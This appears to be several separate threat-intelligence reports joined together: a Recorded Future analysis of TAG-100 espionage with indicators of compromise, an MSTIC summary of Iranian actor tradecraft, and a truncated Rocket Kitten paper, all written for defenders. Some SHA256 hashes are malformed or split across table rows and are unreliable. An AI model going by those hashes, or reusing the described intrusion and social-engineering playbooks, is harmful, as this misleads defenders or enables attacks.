unfold. Cyber systems are used in rail transport and metro networks for communications-based automatic train control. These systems control train movement, deliver power to the network, control signaling infrastructure, report on the condition of the rolling stock and associated infrastructure, support operational planning, and timetabling. - **Shipping**: Cyber-attacks impacting marine transportation can involve navigation, cargo control, and other industrial processes, threatening lives, the environment, property, and disrupting trade activity. Port operations such as raising a drawbridge, controlling traffic lights, scheduling trucks, and controlling pumps, valves, and pipelines for the delivery of fuel and liquid cargo to ships can be impacted. ## Vulnerability Watch ### MySQL for PCF is Prone to Information-disclosure Vulnerability MySQL for PCF is prone to information-disclosure vulnerability (CVE-2016-0898). MySQL for PCF 1.7.x versions prior to 1.7.10 are vulnerable and were discovered to log the access key in plaintext. These credentials were logged to the Service Backup component logs, and not the system log, thus were not exposed outside the Service Backup VM. It has a CVSS 3.0 Base Score of 10. Attackers can exploit this issue to obtain sensitive information that may aid in further attacks. Users of affected versions should upgrade MySQL for PCF to 1.7.10 or later. ### Critical Vulnerability in ‘Sandbox’ Component of Apple macOS An issue was discovered in certain Apple products. macOS before 10.13.3 is affected. The issue involves the ‘Sandbox’ component. It allows bypass of a sandbox protection mechanism. The App Sandbox in macOS helps ensure that apps do only what they’re intended to do. App sandboxing isolates apps from the critical system components. Even if an app is compromised by malicious software, sandboxing automatically blocks it to keep the computer safe. macOS delivers sandboxing protection in Safari by sandboxing the built-in PDF viewer and plug-ins such as Adobe Flash Player, Silverlight, QuickTime, and Oracle Java. ### Critical Vulnerability in Bomgar Remote Support Portal Path Traversal vulnerability (CVE-2017-12815) was found in a component of the Bomgar Remote Support Portal (RSP). The affected component is a JavaScript applet that is hosted at https://domain/api/content/JavaStart.jar on the vulnerable RSP deployments. The JavaStart version 52790 and prior are vulnerable. It has a CVSS 3.0 Base Score of 10.0. Successful exploitation results in file creation/modification/deletion in the operating system and with privileges of the user that ran the Java applet. ### Code Execution Vulnerability in Atlassian Bitbucket Server A critical vulnerability has been found in Atlassian Bitbucket Server (CVE-2018-5225). It has a CVSS 3.0 Base Score of 9.9.
# Cyber Threat Analysis **By Insikt Group** **July 16, 2024** ## Executive Summary Recorded Future’s Insikt Group identified new suspected cyber-espionage activity targeting high-profile government, intergovernmental, and private sector organizations globally. This activity, tracked under the temporary group designator TAG-100, has employed open-source remote access capabilities and exploited a wide range of internet-facing appliances for initial access. Using Recorded Future® Network Intelligence data, Insikt Group identified the likely compromise of the secretariats of two major Asia-Pacific intergovernmental organizations by TAG-100 using the open-source, multi-platform Go backdoor Pantegana. Other targeted organizations include multiple diplomatic entities and ministries of foreign affairs, as well as industry trade associations and semiconductor supply-chain, non-profit, and religious organizations globally. At this time, Insikt Group is continuing to explore potential attribution for this activity; however, the specific targeting and victimology identified align with a suspected espionage motive. This activity highlights the ability to combine weaponized proof-of-concept (PoC) exploits with open-source post-exploitation frameworks such as Pantegana, lowering the entry barrier for less capable threat actors. It also allows higher-tier groups to refrain from using customized tools during operations in which they are less concerned with being detected or in which heightened attribution obfuscation is desirable. More widely, threat actors’ exploitation of vulnerable internet-facing devices has been the focus of international cybersecurity efforts, including emergency patch requests within the United States (US), the introduction of secure-by-design legislation by the United Kingdom (UK) government, and attributing the use of this technique to multiple state-sponsored threat actors. Despite this attention, this form of initial access continues to be widely used, as these devices typically have limited visibility, logging capabilities, and support for traditional security solutions. As a result, it exposes many organizations to the financial downsides of successful attacks, such as operational downtime, reputational damage, and regulatory fines. Organizations should employ intelligence-led patching prioritization of perimeter appliances that consider the public availability of exploit code, as this availability can substantially increase the likelihood of mass exploitation. Organizations should focus on regularly auditing internet-facing and perimeter appliances, reducing their attack surfaces by disabling interfaces or portals where not required, and improving defense-in-depth measures focusing on detecting post-exploitation persistence, discovery, and lateral movement. Unless the security of internet-facing devices is improved or organizations take steps to move away from vulnerable edges, these devices will almost certainly continue to be widely exploited by a range of threat actors. State-sponsored threat actors will likely continue using open-source capabilities to conduct higher-tempo, deniable cyber operations with a lower risk of direct attribution or retaliation. The widespread availability of open-source capabilities also allows state-sponsored threat actors to outsource select cyber operations to a broader range of less capable proxy groups or private contractors who may not possess or require in-house development skills due to the widespread availability of open-source tools. This outsourcing will likely act as a force multiplier to further increase the intensity and tempo of overall activity targeting enterprise networks, a trend already apparent within some state-sponsored cyber-espionage programs. ## Key Findings - TAG-100 has likely compromised organizations in at least ten countries in Africa, Asia, North America, South America, and Oceania and, following initial access, employed the open-source Go backdoors Pantegana and SparkRAT. - TAG-100 has also conducted probable reconnaissance and exploitation activity targeting the internet-facing appliances of additional organizations in at least fifteen countries in North America, Europe, and Asia. - Based on the identified TAG-100 targeted and victim hosts, it is likely that the group has exploited a range of internet-facing products, including Citrix NetScaler ADC and Gateway appliances, F5 BIG-IP, Zimbra Collaboration Suite, Microsoft Exchange, SonicWall, Cisco Adaptive Security Appliances (ASA), Palo Alto Networks GlobalProtect, and Fortinet FortiGate. - In the immediate aftermath of releasing a PoC exploit for Palo Alto Networks GlobalProtect firewall vulnerability CVE-2024-3400, TAG-100 conducted probable reconnaissance and attempted exploitation against dozens of US-based organizations running these devices. - The widespread targeting of internet-facing appliances is particularly attractive because it offers a foothold within the targeted network via products that often have limited visibility, logging capabilities, and support for traditional security solutions, reducing the risk of detection post-exploitation. ## Threat Analysis ### Wide Range of Strategic Global Targets Compromised Since at least February 2024, Insikt Group has identified likely victim organizations in Cambodia, Djibouti, the Dominican Republic, Fiji, Indonesia, Netherlands, Taiwan, the United Kingdom, the United States, and Vietnam communicating with TAG-100 command-and-control (C2) infrastructure. Victims included industry trade associations as well as government, intergovernmental, diplomatic, political, semiconductor supply-chain, non-profit, and religious organizations across these countries, including the following notable organizations: - Intergovernmental organizations headquartered in Southeast Asia and Oceania - Ministries of Foreign Affairs of countries in Southeast Asia, South America, and the Caribbean - The Embassy of a Southwest Asian country in the United States - Multiple religious organizations in the US and Taiwan - A US-based financial industry trade association - A Taiwanese semiconductor testing and assembly company Most victim IP addresses host internet-facing appliances, including Citrix NetScaler ADC and Gateway, Zimbra Collaboration Suite, Microsoft Exchange, SonicWall, Cisco ASA, and Fortinet FortiGate products. ### TAG-100 Exploitation of Internet-Facing Appliances TAG-100 has conducted reconnaissance and exploitation activity targeting a wide range of internet-facing appliances belonging to organizations in at least fifteen countries, including Cuba, France, Italy, Japan, and Malaysia. Notably, this included the targeting of multiple Cuban embassies, including in Bolivia, France, and the United States. In March 2024, TAG-100 was identified targeting internet-facing Citrix NetScaler and F5 BIG-IP appliances and Outlook Web App login portals globally. In multiple instances, these targeted organizations directly overlapped with subsequent victims communicating with TAG-100 Pantegana C2 servers. Beginning on April 16, 2024, TAG-100 conducted probable reconnaissance and exploitation activity targeting Palo Alto Networks GlobalProtect appliances of organizations, mostly based in the US, within the education, finance, legal, local government, and utilities sectors. The timing of this activity aligned with the release of a PoC exploit for the Palo Alto Networks GlobalProtect firewall remote code execution vulnerability CVE-2024-3400. In one instance, an open directory present on the staging server attributed to TAG-100, 209.141.57.75, contained a publicly available exploit for the Zimbra Collaboration Suite vulnerability CVE-2019-9621. ### Employing Multiple Open-Source and Offensive Security Capabilities In addition to employing publicly available exploits, TAG-100 has also used multiple open-source or offensive security post-exploitation frameworks targeting multiple operating systems, including Pantegana, SparkRAT, LESLIELOADER, Cobalt Strike, and CrossC2. **Pantegana** Pantegana is an open-source malware family written in Go that features a cross-platform payload client (Windows, Linux, OSX) and uses HTTPS for C2 communications. It supports file upload and download, system fingerprinting, and direct command-line interaction with infected hosts. Pantegana also supports obfuscation using the open-source obfuscator Garble. Publicly reported use of Pantegana in the wild to date is minimal, other than a campaign exploiting a zero-day vulnerability in the Sophos Firewall appliance attributed by Volexity to the suspected Chinese state-sponsored threat activity group DriftingCloud. In March 2024, Insikt Group identified a cluster of TAG-100 C2 servers, all exhibiting the same self-signed transport layer security (TLS) certificate, which aligns with the default issuer and distinguished names seen in the Pantegana source code. On some TAG-100 Pantegana servers, the group also employed a customized TLS certificate, which used the organization name Google, Inc. rather than the default Pantegana value. All identified TAG-100 servers were running identical services and were administered via the same nodes associated with the commercial VPN service ExpressVPN. Several victim organizations have been observed communicating with multiple TAG-100 Pantegana C2 servers over time, likely because the threat actor transitioned between an older C2 server and a newer one. **SparkRAT and LESLIELOADER** Multiple TAG-100 servers were concurrently linked to malware samples of another open-source Go backdoor, SparkRAT. TAG-100 also used a variant of the publicly available Go loader LESLIELOADER to load SparkRAT in several instances, including a chain previously documented in March 2024 Kroll research. On one occasion, a SparkRAT memory dump was uploaded to a public malware repository that almost certainly originated from a Djibouti government network compromised by TAG-100. In addition to communicating with a C2 IP address serving a specific Pantegana TLS certificate linked to TAG-100, the Linux SparkRAT sample Sync was also identified being staged on a previously referenced TAG-100 open directory on the IP address 209.141.57.75 between November 2023 and April 2024. **Cobalt Strike** TAG-100 has used both traditional Windows Cobalt Strike Beacon payloads using the Jquery malleable C2 profile as well as the open-source, cross-platform CrossC2 to generate Cobalt Strike Beacon payloads for Linux systems. The C2 domain used in highlighted TAG-100 Cobalt Strike samples was proxied via CloudFlare content distribution network (CDN) to a backend, threat actor-controlled server administered via ExpressVPN, similar to wider TAG-100 activity. ## Considering TAG-100 Attribution While Insikt Group cannot attribute TAG-100 activity based on current evidence, the group’s consistent targeting of intergovernmental, diplomatic, and religious organizations aligns with a suspected espionage motive. Additionally, several targets of this activity align with historical targeting from Chinese state-sponsored groups, including Asia-Pacific intergovernmental and diplomatic entities, religious organizations in the United States and Taiwan, and a political party that has supported an investigation into the treatment of the Uyghur people by the Chinese government. Despite this, TAG-100’s use of open-source tooling coupled with the group’s pattern of life, targeting, and broader tactics, techniques, and procedures (TTPs) provide some conflicting evidence, leading us to continue investigating potential attribution for this activity. ## Mitigations - Configure your intrusion detection systems (IDS), intrusion prevention systems (IPS), or any network defense mechanisms in place to alert on — and upon review, consider blocking connection attempts to and from — the external IP addresses and domains linked in Appendix A. - Ensure security monitoring and detection capabilities are in place for all external-facing services and devices. Monitor for follow-on activity likely to occur following exploitation of these external-facing services, such as the deployment of web shells, backdoors, or reverse shells, as well as subsequent lateral movement to internal networks. - Ensure a risk-based approach for patching vulnerabilities, prioritizing high-risk vulnerabilities and those exploited in the wild as determined through the Recorded Future® Vulnerability Intelligence module. Regarding Chinese state-sponsored groups, pay particular attention to remote code execution (RCE) vulnerabilities in external-facing appliances within your environment. - Practice network segmentation and ensure special protections exist for sensitive information; consider implementing multi-factor authentication and extremely restricted access and storage on systems only accessible via an internal network. - Detect and block malicious infrastructure such as Pantegana, SparkRAT, and Cobalt Strike C2 servers in real-time via the Recorded Future® Threat Intelligence module. - Recorded Future® Third-Party Intelligence module users can monitor real-time output to identify suspected targeted intrusion activity involving key vendors and partners within physical, network, and software supply chains. - By monitoring Malicious Traffic Analysis (MTA), Recorded Future clients can alert on and proactively monitor infrastructure involved in notable communication to known TAG-100 C2 IP addresses. ## Outlook The identified TAG-100 activity focused on targeting a variety of internet-facing appliances for initial access and subsequently used open-source capabilities post-exploitation. The group has been particularly interested in targeting government and intergovernmental organizations in Southeast Asia, Europe, and North America. This activity further highlights an established trend of threat actors persistently targeting internet-facing appliances for initial access. These appliances are particularly attractive because they offer a foothold within the targeted network via products that often have limited visibility, logging capabilities, and support for traditional security solutions, reducing the risk of detection during post-exploitation activity. The prevalence of this activity has motivated both the US and UK governments to issue parallel efforts to improve security in enterprise software and devices. However, it will likely take time before the effects of this top-down approach are fully realized. In the meantime, vulnerable network edges will almost certainly continue to be heavily exploited by financially motivated and state-sponsored threat actors as long as organizations deploy them. ## Appendix A — Indicators of Compromise **TAG-100 C2 Infrastructure** | IP Address | First Seen | Last Seen | |------------------------|--------------|--------------| | 209.141.46[.]83 | 2024-03-04 | 2024-05-11 | | 209.141.57[.]75 | 2023-01-30 | 2024-04-24 | | 205.185.126[.]208 | 2024-03-10 | 2024-04-07 | | 38.54.115[.]34 | 2024-02-18 | 2024-03-07 | | 209.141.42[.]131 | 2024-02-20 | 2024-03-03 | | 104.244.79[.]119 | 2023-11-01 | 2024-01-27 | | 207.246.108[.]119 | 2024-01-08 | 2024-01-21 | | 38.54.15[.]164 | 2023-09-06 | 2024-01-20 | | 198.98.49[.]41 | 2023-12-03 | 2024-01-08 | | 209.141.50[.]215 | 2023-11-09 | 2023-12-04 | | 205.185.127[.]12 | 2023-02-06 | 2023-11-21 | | 45.32.107[.]53 | 2023-09-04 | 2023-09-18 | | 205.185.117[.]73 | 2023-01-10 | 2023-07-12 | | 216.238.68[.]36 | 2023-05-04 | 2023-06-12 | | 209.141.37[.]217 | 2023-04-14 | 2023-05-25 | | 205.185.121[.]169 | 2023-04-14 | 2023-05-01 | | 144.202.125[.]201 | 2023-04-12 | 2023-04-18 | | 173.254.229[.]93 | 2023-01-09 | 2023-01-09 | **TAG-100 Exploitation Servers** | IP Address | First Seen | Last Seen | |------------------------|--------------|--------------| | 205.185.122[.]35 | 2024-04-21 | 2024-05-11 | | 209.141.47[.]6 | 2024-02-03 | 2024-05-11 | **TAG-100 Cobalt Strike C2 Domain** - www.megtech[.]xyz **Pantegana Self-signed TLS Certificate Fingerprint** - 9b6bc9e7ed924900e5dfb8df2ac0916fbe6913a7717c341152f5c17ae017278c **Cobalt Strike Samples (SHA256)** | SHA256 Hash | Filename | C2 Domain | |------------------------------------------------|------------------|----------------------| | e3aab908800cb4601bc4a87ac9ac48d816ced57c | test | www.megtech[.]xyz | | db409b6e2468956cc50bdf048eb3617768ce4693b | svhost.exe | www.megtech[.]xyz | | 196d6f2bbe555c31f12d1234 | | | **SparkRAT/LESLIELOADER Samples (SHA256)** | SHA256 Hash | Filename | C2 IP Address | |------------------------------------------------|------------------|----------------------| | 23efecc03506a9428175546a4b7d40c8a943c | Sync | 216.238.68[.]36 | | 252110e83dec132c6a5db8c4dd6ec45da0ca70a9b71652cc95d51665f7ad5682 | Ntmssvc.dll | 209.141.50[.]215 | | 94bd5652c395a119bccd613e9b4b8cab11421eb4731c16cf3c34ca2b3f2a758d | RemovableStorage.dll | 209.141.50[.]215 | ## Appendix B — MITRE ATT&CK Techniques | Tactic | Technique | ATT&CK Code | |----------------------|-----------------------------------------------------------------------------------------------|--------------------| | Resource Development | Acquire Infrastructure: Virtual Private Server | T1583.003 | | Reconnaissance | Active Scanning: Vulnerability Scanning | T1595.002 | | Initial Access | Exploit Public-Facing Application | T1190 | | Defense Evasion | Process Injection | T1055 | | Defense Evasion | Obfuscated Files or Information: Embedded Payloads | T1027.009 | | Defense Evasion | Obfuscated Files or Information: Encrypted/Encoded File | T1027.013 | | Command and Control | Application Layer Protocol: Web Protocols | T1071 | | Command and Control | Web Service: Bidirectional Communication | T1102.002 | ## Appendix C — Self-Signed Pantegana TLS Certificate Observed on TAG-100 Infrastructure - **Version:** 3 (0x02) - **Serial number:** 70601002879283499457779830637471069067165741229 - **Algorithm ID:** SHA256withRSA - **Validity** - Not Before: 24/10/2022 06:08:04 - Not After: 21/10/2032 06:08:04 - **Issuer** - C = US - ST = Hawaii - L = The Sewers - O = Pantegana, Inc. - CN = Pantegana Root CA - **Subject** - C = US - ST = Hawaii - L = The Sewers - O = Pantegana, Inc. - CN = localhost - **Public Key** - Algorithm: RSA - Length: 2048 bits - **Certificate Signature** - Algorithm: SHA256withRSA Recorded Future reporting contains expressions of likelihood or probability consistent with US Intelligence Community Directive (ICD) 203 Analytic Standards (published January 2, 2015). Recorded Future reporting also uses confidence level standards employed by the US Intelligence Community to assess the quality and quantity of the source information supporting our analytic judgments. ## About Insikt Group Recorded Future’s Insikt Group, the company’s threat research division, comprises analysts and security researchers with deep government, law enforcement, military, and intelligence agency experience. Their mission is to produce intelligence that reduces risk for clients, enables tangible outcomes, and prevents business disruption. ## About Recorded Future Recorded Future is the world’s largest threat intelligence company. Recorded Future’s Intelligence Cloud provides end-to-end intelligence across adversaries, infrastructure, and targets. Indexing the internet across the open web, dark web, and technical sources, Recorded Future provides real-time visibility into an expanding attack surface and threat landscape, empowering clients to act with speed and confidence to reduce risk and securely drive business forward. Headquartered in Boston with offices and employees around the world, Recorded Future works with over 1,800 businesses and government organizations across more than 75 countries to provide real-time, unbiased, and actionable intelligence.
# Evolving Trends in Iranian Threat Actor Activity – MSTIC Over the past year, the Microsoft Threat Intelligence Center (MSTIC) has observed a gradual evolution of the tools, techniques, and procedures employed by malicious network operators based in Iran. At CyberWarCon 2021, MSTIC analysts presented their analysis of these trends in Iranian nation-state actor activity during a session titled “The Iranian evolution: Observed changes in Iranian malicious network operations.” This blog summarizes the content of that research and the topics covered in their presentation, demonstrating MSTIC’s ongoing efforts to track these actors and protect customers from related threats. MSTIC consistently tracks threat actor activity, including the groups discussed in this blog, and works across Microsoft Security products and services to build detections into our products that improve customer protections. We are sharing this blog today so that others in the community can also be aware of the latest techniques we have observed being used by Iranian actors. As with any observed nation-state actor activity, Microsoft has directly notified customers that have been targeted or compromised, providing them with the information they need to help secure their accounts. Microsoft uses DEV-#### designations as a temporary name given to an unknown, emerging, or developing cluster of threat activity, allowing MSTIC to track it as a unique set of information until we reach high confidence about the origin or identity of the actor behind the activity. Once it meets the criteria, a DEV is converted to a named actor. ## Notable Trends in Iranian Nation-State Operators Three notable trends in Iranian nation-state operators have emerged: 1. They are increasingly utilizing ransomware to either collect funds or disrupt their targets. 2. They are more patient and persistent while engaging with their targets. 3. While Iranian operators are more patient and persistent with their social engineering campaigns, they continue to employ aggressive brute force attacks on their targets. ### Ransomware Since September 2020, MSTIC has observed six Iranian threat groups deploying ransomware to achieve their strategic objectives. These ransomware deployments were launched in waves every six to eight weeks on average. In one observed campaign, PHOSPHORUS targeted the Fortinet FortiOS SSL VPN and unpatched on-premises Exchange Servers globally with the intent of deploying ransomware on vulnerable networks. A recent blog post by the DFIR Report describes a similar intrusion in which actors leveraged vulnerabilities in on-premise Exchange Servers to compromise a victim environment and encrypt systems via BitLocker. MSTIC also attributes this activity to PHOSPHORUS. PHOSPHORUS operators conducted widespread scanning and ransomed targeted systems through a five-step process: Scan, Exploit, Review, Stage, Ransom. #### Scan In early 2021, PHOSPHORUS actors scanned millions of IPs on the internet for Fortinet FortiOS SSL VPN that were vulnerable to CVE-2018-13379. This vulnerability allowed the attackers to collect clear-text credentials from the sessions file on vulnerable Fortinet VPN appliances. The actors collected credentials from over 900 Fortinet VPN servers in the United States, Europe, and Israel. In the last half of 2021, PHOSPHORUS shifted to scanning for unpatched on-premises Exchange Servers vulnerable to ProxyShell (CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065). #### Exploit When they identified vulnerable servers, PHOSPHORUS sought to gain persistence on the target systems. In some instances, the actors downloaded a Plink runner named MicrosoftOutLookUpdater.exe. This file would beacon periodically to their C2 servers via SSH, allowing the actors to issue further commands. Later, the actors would download a custom implant via a Base64-encoded PowerShell command. This implant established persistence on the victim system by modifying startup registry keys and ultimately functioned as a loader to download additional tools. #### Review After gaining persistence, PHOSPHORUS actors triaged hundreds of victims to determine which of them were fitting for actions on objectives. On select victims, operators created local administrator accounts with a username of “help” and password of “_AS_@1394.” On occasion, actors dumped LSASS to acquire credentials for later lateral movement. #### Stage and Ransom Finally, MSTIC observed PHOSPHORUS employing BitLocker to encrypt data and ransom victims at several targeted organizations. BitLocker is a full volume encryption feature meant to be used for legitimate purposes. After compromising the initial server (through vulnerable VPN or Exchange Server), the actors moved laterally to a different system on the victim network to gain access to higher value resources. From there, they deployed a script to encrypt the drives on multiple systems. Victims were instructed to reach out to a specific Telegram page to pay for the decryption key. ### Patience and Persistence MSTIC has observed PHOSPHORUS threat actors employing social engineering to build rapport with their victims before targeting them. These operations likely required significant investment in the operator’s time and resources to refine and execute. This trend indicates PHOSPHORUS is either moving away from or expanding on their past tactics of sending unsolicited links and attachments in spear-phishing email campaigns to attempt credential theft. PHOSPHORUS sends “interview requests” to target individuals through emails that contain tracking links to confirm whether the user has opened the file. Once a response is received from the target user, PHOSPHORUS attackers send a link to a benign list of interview questions hosted on a cloud service provider. The attackers continue with several back-and-forth conversations discussing the questions with the target user before finally sending a meeting invite with a link masquerading as a Google Meeting. Once the meeting invite is sent, the attackers continuously reach out to the target user, asking them to test the Google Meeting link. The attackers contact the targeted user multiple times per day, continuously pestering them to click the link. The attackers even offer to call the target user to walk them through clicking the link, troubleshooting any issues the user has signing into the fake Google Meeting link, which leads to a credential harvesting page. MSTIC has observed PHOSPHORUS operators become very aggressive in their emails after the initial lure is sent, to the point where they are almost demanding a response from the targeted user. ### CURIUM – In It for the Long Run CURIUM is another Iranian threat actor group that has shown a great deal of patience when targeting users. Instead of phishing emails, CURIUM actors leverage a network of fictitious social media accounts to build trust with targets and deliver malware. These attackers have followed the following playbook: - Masquerade as an attractive woman on social media - Chat with the target daily - Send benign videos of the woman to the target to prime them to lower their guard - Send malicious files to the target similar to the benign files previously sent - Request that the target user open the malicious document - Exfiltrate data from the victim machine The process above can take multiple months from the initial connection to the delivery of the malicious document. The attackers build a relationship with target users over time by having constant and continuous communications, allowing them to build trust and confidence with the target. In many observed cases, the targets genuinely believed that they were making a human connection and not interacting with a threat actor operating from Iran. By exercising patience, building relationships, and pestering targets continuously once a relationship has been formed, Iranian threat actors have had more success in compromising their targets. ### Brute Force In 2021, MSTIC observed DEV-0343 aggressively targeting Office 365 tenants via an ongoing campaign of password spray attacks. DEV-0343 is a threat actor MSTIC assesses to be likely operating in support of Iranian interests. MSTIC has blogged about DEV-0343 activity previously. Analysis of Office 365 logs suggests that DEV-0343 is using a red team tool like o365spray to conduct these attacks. Targeting in this DEV-0343 activity has been observed across defense companies that support United States, European Union, and Israeli government partners producing military-grade radars, drone technology, satellite systems, and emergency response communication systems. Further activity has targeted customers in geographic information systems (GIS), spatial analytics, regional ports of entry in the Persian Gulf, and several maritime and cargo transportation companies with a business focus in the Middle East. As discussed in our previous blog, DEV-0343 operators’ ‘pattern of life’ is consistent with the working schedule of actors based in Iran. DEV-0343 operator activity peaked Sunday through Thursday between 04:00:00 and 16:00:00 UTC. Known DEV-0343 operators have also been observed targeting the same account on the same tenant being targeted by other known Iranian operators. For example, EUROPIUM operators attempted to access a specific account on June 12, 2021, and ultimately gained access to this account on June 13, 2021. DEV-0343 was then observed targeting this same account within minutes of EUROPIUM operators gaining access to it the same day. MSTIC assesses that these observed overlapping activities suggest coordination between different Iranian actors pursuing common objectives. ## Closing Thoughts: Increasingly Capable Threat Actors As Iranian operators have adapted both their strategic goals and tradecraft, they have evolved into more competent threat actors capable of conducting a full spectrum of operations including: - Information operations - Disruption and destruction - Support to physical operations Specifically, Iranian operators have proven themselves to be both willing and able to: - Deploy ransomware - Deploy disk wipers - Deploy mobile malware - Conduct phishing attacks - Conduct password spray attacks - Conduct mass exploitation attacks - Conduct supply chain attacks - Cloak C2 communications behind legitimate cloud services MSTIC thanks CyberWarCon 2021 for the opportunity to present this research to the broader security community. Microsoft will continue to monitor all this activity by Iranian actors and implement protections for our customers.
# The Spy Kittens Are Back: Rocket Kitten 2 **Cedric Pernet** **Eyal Sela** ## Building on the Trend Micro paper released this March on Operation Woolen-Goldfish and the ClearSky research on GHOLE malware, we continued our efforts to monitor this particular group of threat actors to see if any of their movements have changed. Trend Micro and ClearSky continued monitoring Rocket Kitten for the past months and decided to join forces to release this paper. With new attack cases that show the different tactics and techniques that Rocket Kitten uses, we want to shed further light on the group’s dealings and come closer to understanding their motivations and goals and who they may be representing. Our findings show that Rocket Kitten is still active, retains a growing level of persistence, and acts ever more aggressively in terms of attack method. We also found that recent publications on the group’s activity have done nothing to change their behavior or reduce their activity. They don’t seem to bother to have to “disappear.” With this paper, we feel fairly certain that Rocket Kitten’s prime targets are not companies and political organizations as entire bodies but individuals that operate in strategically interesting fields such as diplomacy, foreign policy research, and defense-related businesses. We believe the espionage factor and political context make their attacks unique and very different from traditional targeted attacks. ## Targeted attacks and cyber espionage The greatest source of risk in cyberspace emanates from groups with the resources and commitment to relentlessly target a company, a government agency, an organization, or even an individual until they succeed in breaking in and taking what the victim values most. This usually involves an unauthorized person gaining access to a network and staying there undetected for a long period of time via a targeted attack. Typically, the purpose of a targeted attack is to monitor target systems and exfiltrate data from these, as opposed to causing damage or disruption. Therefore, there is an innate connection between traditional espionage and targeted attacks. One can say that a targeted attack evolved from the tradecraft of espionage. The difficulty very often lies in detecting targeted attacks in a timely manner and even more in pinpointing attackers’ identities and their financial backers, understanding their motivations, and where the attacks are coming from. This is also the case when it comes to political espionage carried out in the cyberrealm. Any espionage activity does not usually go after monetary gain and it is very difficult to attribute it to a certain group or nation-state. The attackers can be anything from self-anointed cyber units with a political cause to cyber-capable separatist groups, state-sponsored hackers, or actual covert intelligence agents. Many times, such instances of cyber espionage are attributed to nation-states because they are the most likely to have the greatest motivation, they have the most to gain, and they are most capable of funding and maintaining cyber-espionage efforts without being detected. When we look at the Rocket Kitten case, we are not dealing with cybercriminals that conduct corporate espionage to obtain access to sensitive documents or resell confidential information and intellectual property. This is an obvious case of politically inspired or motivated espionage. ## Rocket Kitten: Persistent spies ### Attacker profile Since mid-2014, a group of attackers was observed by different computer security professionals, including Trend Micro and ClearSky. We have documented some of their moves. The set of targeted attack campaigns have been dubbed “Rocket Kitten” and the perpetrators as the “Rocket Kitten Group.” Additional sources indicate that the group may have been active as early as 2011 and increased their activities in 2014. ClearSky first monitored attacks that involved GHOLE—a malicious version of the Core Impact Pro penetration-testing tool. Core Impact Pro is a legitimate commercial security product that, being a powerful investigative security tool, also bears some potential for misuse with malicious purposes. It is executed by a malicious Microsoft Office macro. Following ClearSky’s research, Gadi Evron and Tillmann Werner, in a presentation at the Chaos Communication Congress (CCC), reported attacks conducted with the same malware that according to them very strongly pointed to nation-state origin. This March, Trend Micro published a paper on Operation Woolen-Goldfish, which targeted a number of European businesses and organizations via spear phishing. This finding showed a connection to the Rocket Kitten campaign seen in December 2014. The Trend Micro paper also showed the use of a new exclusive piece of malware that threat actors called “CWoolger.” Just this June, ClearSky detected new movements from the group, which showed an attack intensity that exceeded our estimations by far. ClearSky has learned of 550 targets, most of which are located in the Middle East. It documented some findings in “Thamar Reservoir.” In this paper, Trend Micro and ClearSky combined research results to shed further light on Rocket Kitten’s tactics and methods, and show that the focus right now is very much on individuals rather than on organizations. ### What is Rocket Kitten after? From our monitoring efforts, our analysis of the attack setup, and the type of people targeted by the threat actors, we drew the conclusion that Rocket Kitten mainly targets different verticals in the Middle East. Their favorite targets seem to be involved in policy research, diplomacy, all aspects of international affairs, defense, security, journalism, human rights, and others. We also observed attacks targeting organizations located in Europe but in the bigger scheme of things this activity is marginal (about 5% of the total number of targeted attacks). The actors do not seem to be motivated by a hacktivist agenda. To us, it is not at all clear what kind of specific information Rocket Kitten is generally after but it is clear that it has to do with espionage. As we have not seen what documents or information the actors typically look for when they obtain access to a computer or what were exfiltrated following a compromise, it is hard to speculate. From the facts that we have, we can only assume what their motivation and goal may be, no evidence can support any attribution we would claim at this point. What we know is that the individuals targeted often had strategically interesting professions from a political or geostrategic perspective. They are scientists, journalists, researchers, and sometimes expatriated Iranians living in Western countries. These facts suggest that Rocket Kitten may be engaging some sort of foreign political espionage campaign and may want to find regime-opponents active in driving policy in different ways. There are state actors in the region who are interested in gaining access to the information that can be found in people’s computers and emails. These people are professionally affiliated with the foreign policy and defense sectors and there is an interest in finding out who they are talking to and what kinds of action they support. ## Tactics, tools, and techniques ### Strategy and standard operating procedure As in any typical targeted attack, Rocket Kitten utilizes several different malware types and has a concrete tactical setup to compromise an individual or an entity. This compromise seems to mainly serve the purpose of monitoring communications and extracting information, in short, espionage. The victim may be the desired target because the information he holds is valuable to the attacker but he may also just be a stepping stone to reach the actual target. Rocket Kitten’s operating template, which remains constant in almost every case we have seen, has the following components: 1. **Point of entry:** Rocket Kitten uses spear phishing and social engineering to establish contact with either the primary or secondary victim. This can be done by faking accounts and identities: - Using fake Google Drive or Gmail accounts (The Rocket Kitten Group often impersonated persons of interest and public figures such as Israeli engineers.) - Using stolen documents that suggest a legitimate cause and sender - Using social media accounts as in Facebook to directly contact targets, create rapport via private messages, and log correspondence as well as consequently make users visit phishing websites The spear-phishing email contains a link or a file that when clicked or opened unleashes a payload that takes over the target machine. 2. **Command-and-control (C&C) communication:** The infected computer communicates with a C&C server. It can download whatever malware is available or intended for the cause and purpose of the attack. As soon as the actors get the user’s password (through a request to type it sent via an email, a Facebook message, or a phone call), they take over the chosen account right away and any other accounts they can get their hands on (Facebook, other email accounts, and cloud accounts). They can employ a keylogger that logs keystrokes. They can, for example, connect an application to your Gmail account (in the cases we’ve seen, Microsoft Outlook obtained access to the Gmail account as a “connected app”) so we assume that the attackers downloaded all of their victims’ emails for offline processing. They can also install any other piece of malware. ### Simple tools and lack of professionalism The Rocket Kitten Group uses both relatively simple tools that we suspect they developed as well as more advanced, publicly available ones, which may have been either purchased or stolen. What strikes us about the attackers is that they don’t seem to put much effort into quality assurance when it came to content—how emails and phishing pages are formulated—and so, make a lot of mistakes (typos and grammatical errors). This, of course, makes patterns relatively easy to identify once we know what to look for. However, the attackers do make up for these disadvantages with persistence. Based on our research and profiling, we believe the members of the Rocket Kitten Group could be former cybercriminals who ventured into a new field for some unclear reason and so use some of the methods they used to. Many of their techniques are typically observed in criminal endeavors. ### Persistence The most notable Rocket Kitten strategy lies in numerous attempts to attack the same (chosen) targets for as long as necessary, even if that means trying on a daily basis and with ever new cover stories and convincing techniques to entice users. The idea is to barrage targets until they eventually slip and inadvertently allow the attackers to obtain the desired information, whether primary or secondary in nature—directly stealing credentials from or taking control of victims’ computers. Often, even if targets are aware of impending or already-occurring attacks (when they receive malicious messages on a daily basis or are repeatedly requested to reset their passwords), it is almost impossible to defend against attempts, making professional guidance indispensable. The attackers try to overwhelm targets by executing numerous password-reset attempts, making victims believe they are losing control over their accounts. ### Work versus private accounts and devices The Rocket Kitten Group prefers to go after victims’ 